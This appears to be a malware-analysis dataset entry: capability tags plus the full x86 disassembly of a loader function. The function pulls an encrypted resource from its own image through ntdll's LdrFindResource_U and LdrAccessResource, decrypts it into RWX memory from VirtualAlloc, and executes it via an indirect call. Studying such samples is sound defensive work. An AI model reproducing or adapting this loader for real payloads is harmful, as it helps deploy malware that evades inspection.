Function at 0x4024d0
Capabilities:
Allocate or change rwx memory
Create directory
Execute shellcode via indirect call

Disassembly:
push 0xffffffffffffffff
push 0x433622
mov eax, dword fs:[0]
push eax
sub esp, 0x11c
mov eax, dword [0x445580]
xor eax, esp
mov dword [esp + 0x118], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x445580]
xor eax, esp
push eax
lea eax, [esp + 0x130]
mov dword fs:[0], eax
xor ebx, ebx
push 6
mov esi, 0xf
push str.LdrFin
lea ecx, [esp + 0x118]
mov dword [esp + 0x24], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x48], 0xa
mov dword [esp + 0x4c], 0x1e55
mov dword [esp + 0x50], 0x409
mov dword [esp + 0x130], esi
mov dword [esp + 0x12c], ebx
mov byte [esp + 0x11c], bl
call fcn.00401860
push 5
push str.dReso
lea ecx, [esp + 0x8c]
mov dword [esp + 0x140], ebx
mov dword [esp + 0xa4], esi
mov dword [esp + 0xa0], ebx
mov byte [esp + 0x90], bl
call fcn.00401860
push 6
push str.urce_U
lea ecx, [esp + 0x70]
mov byte [esp + 0x140], 1
mov dword [esp + 0x88], esi
mov dword [esp + 0x84], ebx
mov byte [esp + 0x74], bl
call fcn.00401860
lea eax, [esp + 0x84]
push eax
lea ecx, [esp + 0x114]
push ecx
lea edx, [esp + 0x2c]
push edx
mov byte [esp + 0x144], 2
call fcn.00401ae0
lea ecx, [esp + 0x74]
push ecx
push eax
lea edx, [esp + 0x108]
push edx
mov byte [esp + 0x150], 3
call fcn.00401ae0
add esp, 0x18
mov edi, 0x10
mov byte [esp + 0x138], 5
cmp dword [esp + 0x3c], edi
jb 0x402613
mov eax, dword [esp + 0x28]
push eax
call fcn.0040de0f
add esp, 4
push 3
push 0x4368ec
lea ecx, [esp + 0xc4]
mov dword [esp + 0x44], esi
mov dword [esp + 0x40], ebx
mov byte [esp + 0x30], bl
mov dword [esp + 0xdc], esi
mov dword [esp + 0xd8], ebx
mov byte [esp + 0xc8], bl
call fcn.00401860
push 5
push str.Acces
lea ecx, [esp + 0x54]
mov byte [esp + 0x140], 6
mov dword [esp + 0x6c], esi
mov dword [esp + 0x68], ebx
mov byte [esp + 0x58], bl
call fcn.00401860
push 9
push str.sResource
lea ecx, [esp + 0xa8]
mov byte [esp + 0x140], 7
mov dword [esp + 0xc0], esi
mov dword [esp + 0xbc], ebx
mov byte [esp + 0xac], bl
call fcn.00401860
lea ecx, [esp + 0x4c]
push ecx
lea edx, [esp + 0xc0]
push edx
lea eax, [esp + 0x2c]
push eax
mov byte [esp + 0x144], 8
call fcn.00401ae0
lea ecx, [esp + 0xac]
push ecx
push eax
lea edx, [esp + 0xec]
push edx
mov byte [esp + 0x150], 9
call fcn.00401ae0
add esp, 0x18
mov byte [esp + 0x138], 0xb
cmp dword [esp + 0x3c], edi
jb 0x4026f6
mov eax, dword [esp + 0x28]
push eax
call fcn.0040de0f
add esp, 4
push str.ntdll.dll
mov dword [esp + 0x40], esi
mov dword [esp + 0x3c], ebx
mov byte [esp + 0x2c], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push str.LdrFindResource_U
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.LdrAccessResource
push ebp
mov dword [0x446b88], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x20]
push ecx
push 3
lea edx, [esp + 0x48]
push edx
push 0x400000
mov dword [0x446b84], eax
call dword [0x446b88]
test eax, eax
jl 0x402766
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x20]
push ecx
push edx
push 0x400000
call dword [0x446b84]
push ebx
push str.C:Users_
xor ebp, ebp
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x40278d
mov eax, dword [esp + 0x14]
push 0x40
push 0x1000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebp, eax
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x1c]
push ecx
push edx
push ebp
call fcn.0041ccd0
lea eax, [esp + 0x24]
push eax
push 0x32
push str.juB4j2Cy_2stSLLgrM__XjHpdrf3Hik__kxSLYa_pQQgd_7
call fcn.00401200
mov edx, dword [esp + 0x2c]
lea ecx, [esp + 0x30]
push ecx
push edx
push ebp
call fcn.00402270
add esp, 0x24
push ebx
push str.C:Users_
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x402919
cmp dword [esp + 0xf0], edi
jb 0x4027ee
mov eax, dword [esp + 0xdc]
push eax
call fcn.0040de0f
add esp, 4
mov dword [esp + 0xf0], esi
mov dword [esp + 0xec], ebx
mov byte [esp + 0xdc], bl
cmp dword [esp + 0xb8], edi
jb 0x40281c
mov ecx, dword [esp + 0xa4]
push ecx
call fcn.0040de0f
add esp, 4
mov dword [esp + 0xb8], esi
mov dword [esp + 0xb4], ebx
mov byte [esp + 0xa4], bl
cmp dword [esp + 0x64], edi
jb 0x402844
mov edx, dword [esp + 0x50]
push edx
call fcn.0040de0f
add esp, 4
mov dword [esp + 0x64], esi
mov dword [esp + 0x60], ebx
mov byte [esp + 0x50], bl
cmp dword [esp + 0xd4], edi
jb 0x402869
mov eax, dword [esp + 0xc0]
push eax
call fcn.0040de0f
add esp, 4
mov dword [esp + 0xd4], esi
mov dword [esp + 0xd0], ebx
mov byte [esp + 0xc0], bl
cmp dword [esp + 0x10c], edi
jb 0x402897
mov ecx, dword [esp + 0xf8]
push ecx
call fcn.0040de0f
add esp, 4
mov dword [esp + 0x10c], esi
mov dword [esp + 0x108], ebx
mov byte [esp + 0xf8], bl
cmp dword [esp + 0x80], edi
jb 0x4028c2
mov edx, dword [esp + 0x6c]
push edx
call fcn.0040de0f
add esp, 4
mov dword [esp + 0x80], esi
mov dword [esp + 0x7c], ebx
mov byte [esp + 0x6c], bl
cmp dword [esp + 0x9c], edi
jb 0x4028ea
mov eax, dword [esp + 0x88]
push eax
call fcn.0040de0f
add esp, 4
mov dword [esp + 0x9c], esi
mov dword [esp + 0x98], ebx
mov byte [esp + 0x88], bl
cmp dword [esp + 0x128], edi
jb 0x402a5e
mov ecx, dword [esp + 0x114]
push ecx
jmp 0x402a56
call ebp
cmp dword [esp + 0xf0], edi
jb 0x402934
mov edx, dword [esp + 0xdc]
push edx
call fcn.0040de0f
add esp, 4
mov dword [esp + 0xf0], esi
mov dword [esp + 0xec], ebx
mov byte [esp + 0xdc], bl
cmp dword [esp + 0xb8], edi
jb 0x402962
mov eax, dword [esp + 0xa4]
push eax
call fcn.0040de0f
add esp, 4
mov dword [esp + 0xb8], esi
mov dword [esp + 0xb4], ebx
mov byte [esp + 0xa4], bl
cmp dword [esp + 0x64], edi
jb 0x40298a
mov ecx, dword [esp + 0x50]
push ecx
call fcn.0040de0f
add esp, 4
mov dword [esp + 0x64], esi
mov dword [esp + 0x60], ebx
mov byte [esp + 0x50], bl
cmp dword [esp + 0xd4], edi
jb 0x4029af
mov edx, dword [esp + 0xc0]
push edx
call fcn.0040de0f
add esp, 4
mov dword [esp + 0xd4], esi
mov dword [esp + 0xd0], ebx
mov byte [esp + 0xc0], bl
cmp dword [esp + 0x10c], edi
jb 0x4029dd
mov eax, dword [esp + 0xf8]
push eax
call fcn.0040de0f
add esp, 4
mov dword [esp + 0x10c], esi
mov dword [esp + 0x108], ebx
mov byte [esp + 0xf8], bl
cmp dword [esp + 0x80], edi
jb 0x402a08
mov ecx, dword [esp + 0x6c]
push ecx
call fcn.0040de0f
add esp, 4
mov dword [esp + 0x80], esi
mov dword [esp + 0x7c], ebx
mov byte [esp + 0x6c], bl
cmp dword [esp + 0x9c], edi
jb 0x402a30
mov edx, dword [esp + 0x88]
push edx
call fcn.0040de0f
add esp, 4
mov dword [esp + 0x9c], esi
mov dword [esp + 0x98], ebx
mov byte [esp + 0x88], bl
cmp dword [esp + 0x128], edi
jb 0x402a5e
mov eax, dword [esp + 0x114]
push eax
call fcn.0040de0f
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x130]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x118]
xor ecx, esp
call fcn.0041d41b
add esp, 0x128
ret